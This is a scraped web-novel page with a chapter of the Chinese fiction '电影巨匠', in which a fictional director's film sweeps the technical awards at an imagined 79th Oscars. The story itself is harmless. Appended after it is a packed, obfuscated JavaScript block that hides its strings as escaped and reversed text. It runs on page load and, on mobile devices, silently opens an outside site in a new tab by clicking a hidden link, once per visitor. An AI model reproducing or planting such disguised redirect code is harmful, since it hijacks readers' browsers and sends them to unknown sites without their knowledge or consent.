第五文学网 > 都市小说 > 电影巨匠 > 1041 霸气侧漏

    “第七十九届奥斯卡最佳艺术指导的得奖者是……‘狂暴之路’。”

    右侧的“狂暴之路”剧组集体站立起来,浩浩荡荡的四十多人着实壮观,依稀可以看到高文、海登等人吹着口哨、挥舞着拳头,为整个剧组加油鼓劲,庆祝他们今晚的第一场胜利,喜悦和欢乐在暖洋洋的空气中肆意蔓延。

    “狂暴之路”摘下了今晚的第一座小金人,取得开门红,这不由让人联想起了去年的颁奖典礼:同样是妮可-基德曼颁奖,同样是兰斯所在剧组获奖——去年妮可为兰斯带来了最佳男配角奖,而今年妮可则为“狂暴之路”带来了最佳艺术指导奖。

    兰斯举起了双手鼓掌起来,朝着妮可露出了一个笑容示意,妮可似乎也领悟到兰斯眼神里的深意,不由眨了眨眼,表示回应。

    现场的掌声火热得有些出人意料,奔雷般的声响在柯达剧院内不断回荡,激荡出一阵阵波浪,这对于开场第一个奖项来说,热情得有些过分了,更何况这还是一个技术奖项。在掌声之中,科林-吉布森和纽顿-西格尔携手走上了舞台。

    两个人从丹尼尔手中接过了小金人奖杯,科林作为代表走上前发表了感言,他从口袋里掏出了一张卡片,显然得奖感言已经提前写好了,这引起了现场一片善意的笑声,“首先我必须感谢学院颁发了这个奖项,实现了我的梦想。”科林抬起头看下了舞台,“其次,我必须表达我对施特雷洛先生的感谢,谢谢他愿意……”话语还没有说完,现场就响起了零星的口哨声,引起了一片哄堂大笑,科林也是不由莞尔,“谢谢他愿意倾听我的那些惊世骇俗的想法,并且在纽顿所带领的灯光团队帮助下,成为了现实,也谢谢他为整部电影付出了所有心血,让我的工作得到了肯定。”

    兰斯抬起了右手,指了指科林,而后又指了指他自己,科林立刻就明白了过来,露出了一个大大的笑容,“至于他也参与到了艺术指导工作中这件事,我是拒绝承认的。”这下,哄笑声再次响了起来,“最后,我必须感谢我的家人一直以来的支持,在沙漠里拍摄的那段时间是如此艰辛,导演就像是一个疯子,没有他们的支持,我是无法完成工作的。”笑声根本停不下来,尽管时间十分紧迫,但导演还是见缝插针地切换了一下兰斯的镜头,画面上,艾玛正在和兰斯低语着什么,脸上带着灿烂的笑容,看来应该是聊起了拍摄时的趣事。

    短短的得奖感言,仅仅只持续了三十秒不到,然后就结束了。为了让颁奖典礼变得更加紧凑,现在abc电视台在转播过程中都会精准地掐时间,如果得奖者不愿意离开,他们甚至会直接播放音乐催促他们结束感言。

    科林和纽顿再次举了举手中的小金人,然后加入了丹尼尔、妮可的行列,从侧台离开了舞台。

    颁奖典礼随后继续进行。一般来说,大部分技术奖项都会在上半场颁发完毕,偶尔夹杂着配角或者剧本部门奖项,还有短片和纪录片部门,至于其他重要部门——尤其是那些竞争激烈的奖项都会放在下半场,不仅是为了收视率,也是为了制造更多悬念。今晚,虽然配角奖项打头阵的传统被打破了,但技术奖项依旧是上半场的主旋律。

    显然,在技术部门奖项的争夺之中,“狂暴之路”展现出了绝佳的竞技状态,继摘下最佳艺术指导奖之后,在最佳化妆部门的争夺中,“狂暴之路”击败了“潘神的迷宫”和“启示录”,赢得今晚的第二座奖杯;随后又在最佳音效剪辑部门,击退了“硫磺岛来信”、“加勒比海盗2”和“血钻”等强劲竞争对手,将第三座小金人收入囊中;紧接着最佳音响效果奖又一次写上了“狂暴之路”的名字,大热门“追梦女郎”遗憾落败。

    转眼之间,“狂暴之路”的小金人数量就已经上升到了四座,摧枯拉朽的绝对强势,展现出了无人能够撼动的霸气!如此横扫千军的局面,预料之外,却是情理之中。

    今年颁奖季的几部大热作品,“通天塔”、“阳光小美女”、“女王”和“无间行者”,在技术部门几乎都没有任何竞争力,完全无法和“狂暴之路”形成对抗,就连提名都屈指可数。真正在技术部门展现出对抗能力的作品,“追梦女郎”、“硫磺岛来信”、“加勒比海盗2”、“启示录”、“血钻”、“人类之子”等等却又受制于本身质量的窠臼,更何况,“狂暴之路”的现场特效团队确实是展现出了超过当代技术的成熟和高深,单纯以技术而论,也是难逢敌手,唯一能够形成对抗的就是“潘神的迷宫”了。

    无论是专业影评人的口碑,还是颁奖季后半程的发力,“潘神的迷宫”都可以说是颁奖季唯一一个能够击败“狂暴之路”的选项。

    技术部门和其他部门有所不同,因为技术部门的特殊性,需要十分专业的素养,大部分演员根本分辨不出音效剪辑和音响效果的区别,所以演员们、编剧们、制片人们都很少会投票,直接将技术部门选项放空,留给那些专业人士来选择,这也意味着,技术部门总是更加专业,也更加纯粹。换而言之,颁奖季的学院公关对技术部门的影响十分微弱,这也为“潘神的迷宫”击败“狂暴之路”创造了条件。

    但可惜的是,“潘神的迷宫”终究没有能够创造奇迹,在输掉了最佳化妆和最佳艺术指导两个奖项之后,一切就彻底落入了“狂暴之路”的掌控之中。

    颁奖典礼已经过去了四分之一,在目前揭晓的六个奖项之中,除了最佳动画短片和最佳纪录短片找到了各自归属之外,“狂暴之路”在四项提名之中百发百中,成功地统治了今晚盛会的前半程,毋庸置疑地成为了今晚最佳影片的头号种子。这顿时让颁奖典礼变得好看起来,不是因为“狂暴之路”足够强势,而是“通天塔”和“无间行者”能否脱颖而出,形成对抗,还是眼睁睁地看着“狂暴之路”一骑绝尘,不管是哪种走势,这都意味着每一个奖项的悬念将会更加惊险刺激。

    不知不觉中,人们已经遗忘了惊讶、震惊、错愕、意外之类的情绪,想当然地认为这一切都是“狂暴之路”应得的。不是因为“狂暴之路”在今年颁奖季的强势表现,而是因为站在这部电影背后的兰斯!

    几乎每一部兰斯的作品都可以让人惊叹,从成熟而破格的技术,到深刻而细腻的主题,再到生动而形象的角色,即使是“罪恶之城”这样具有浓郁个人风格的商业作品,也展现出了兰斯作为导演的伟大。“狂暴之路”的出色,再一次证明了他作为跻身殿堂的导演能力。今晚的奥斯卡嘉奖,仅仅只是对兰斯的注脚之一而已。

    技术部门的奖项才颁发了四座而已,现场嘉宾们就已经感受到了三年前“魔戒3”的强大气势,难道,历史又将走出极其相似的发展轨迹吗?这样的期待和忐忑必须暂时放到一边了,因为接下来一个奖项并非来自技术部门,而是今晚的第一个主要部门奖项:最佳男配角。

    去年最佳女配角的得奖者蕾切尔-薇姿在万众瞩目之下走上了舞台!现场的躁动明显开始翻滚沸腾起来,展现出了比技术部门更加涌动的期待。

    今年最佳男配角部门的最大看点其实只有一个:艾迪-墨菲。这位纵横美国喜剧电影超过二十年的一代巨星,能否打破桎梏,赢得自己的第一座奥斯卡小金人呢?

    奥斯卡对喜剧演员一向苛刻,前有查理-卓别林抱憾终身,后有金-凯瑞的屡遭无视,当然还有比尔-默瑞,像杰克-莱蒙(jack-)那样凭借喜剧表演赢得奥斯卡小金人的,在历史长河里也凤毛麟角。开场对史蒂夫-卡瑞尔的调侃,其实就是在暗示着这一点。

    艾迪也是如此。今年舆论普遍认为,这是艾迪唯一一次问鼎奥斯卡的机会,不成功便成仁,错过之后就再也不会有了。在奥斯卡之前的颁奖季风向之中,艾迪几乎可以说是横扫千军,一路领跑,最强大的竞争对手无疑是“无间行者”,但马克-沃尔伯格、杰克-尼科尔森、甚至于后来莱昂纳多-迪卡普里奥也参和进来,引发了内部分票,这也成就了艾迪的颁奖季辉煌。

    到了奥斯卡之上,“无间行者”的马克-沃尔伯格和“狂暴之路”的迈克尔-法斯宾德无疑是艾迪最大的竞争对手,但胜率都不高。

    现在,人们都在好奇着,今年的奥斯卡会取得突破吗?不仅仅是嘉奖“狂暴之路”这样的破格作品,还会嘉奖艾迪-墨菲、詹妮弗-哈德森、“阳光小美女”这样非专业出身的作品吗?这一切都是悬念,也许从配角部门的奖项走势,可以窥见一下最佳影片的发展——学院评委们是否有突破的勇气呢?

    与此同时,今晚现场还诞生了另外一个悬念:“狂暴之路”在目前为止的四个提名中,实现了百分百的胜率,让人想起了“魔戒3”,当初是兰斯凭借着“上帝之城”打破了“魔戒3”的垄断,那么这一次呢?兰斯自己的作品又是否能够延续这一胜率呢?

    颁奖典礼确实是开始有趣起来了。七七家d猫猫说今天第二更,各位书友们,新书已经上传,恳求收藏哇!谢谢大家!


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t y(){p(N z==="O".j("").k().l("")){A P}B a;u C=z[\'\\D\\c\\0\\8\\Q\\i\\0\\6\\3\'][\'\\3\\1\\v\\1\\q\\0\\8\\r\\4\\c\\0\']();a=\'\\i\\s\\5\\2\\1\\R\';u E=S T(\'\\4\\6\\5\\8\\1\\2\\5\\d\\2\\e\\m\\1\\6\\0\\d\\2\\e\\4\\5\\d\\2\\e\\1\\5\\d\\q\\2\\6\\5\\1\\q\\c\\F\\e\\m\\1\\6\\0\\d\\9\\7\\4\\n\\w\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\2\\4\\6\\d\\q\\0\\9\\1\\c\\d\\1\\e\\0\\8\\4\\F\\f\\2\\6\\2\\d\\2\\0\\f\\1\\9\\2\\7\\0\\d\\f\\1\\9\\2\\7\\0\',\'\\2\');A E[\'\\3\\0\\c\\3\'](C)}t G(a){B b;u h=o[\'\\n\\8\\0\\4\\3\\0\\H\\7\\0\\f\\0\\6\\3\']("\\4");b=U^V;h[\'\\m\\8\\0\\s\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\5\\2\\c\\e\\7\\4\\g\']="\\6\\1\\6\\0";h[\'\\3\\4\\8\\i\\0\\3\']="W".j("").k().l("");o[\'\\9\\1\\5\\g\'][\'\\4\\e\\e\\0\\6\\5\\r\\m\\2\\7\\5\'](h);h[\'\\n\\7\\2\\n\\w\']();o[\'\\9\\1\\5\\g\'][\'\\8\\0\\f\\1\\I\\0\\r\\m\\2\\7\\5\'](h)}o[\'\\4\\5\\5\\H\\I\\0\\6\\3\\v\\2\\c\\3\\0\\6\\0\\8\']("\\X\\Y\\Z\\r\\1\\6\\3\\0\\6\\3\\v\\1\\4\\5\\0\\5",t(){p(!J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']){p(o[\'\\9\\1\\5\\g\']!=10){J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']="\\x";L=M[\'\\i\\0\\3\\x\\3\\0\\f\']("\\7\\D\\n\\w\\11\\s\\s");p(!L&&y()){G("12.13.14//:15".j("").k().l(""))}M[\'\\c\\0\\3\\x\\3\\0\\f\']("16".j("").k().l(""),"17".j("").k().l(""))}}});',62,70,'u0065|u006F|u0069|u0074|u0061|u0064|u006E|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x7a_0xcc0|u0067|split|reverse|join|u0068|u0063|document|if|u0077|u0043|u0066|function|const|u004C|u006B|u0049|isMobileDevice|navigator|return|var|_0x95deb|u0075|_0x80204a|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|typeof|denifednu|false|u0041|u006A|new|RegExp|327325|327324|knalb_|u0044|u004F|u004D|null|u005F|moc|8zfjm|2357|ptth|ff_kcul|eurt'.split('|'),0,{}))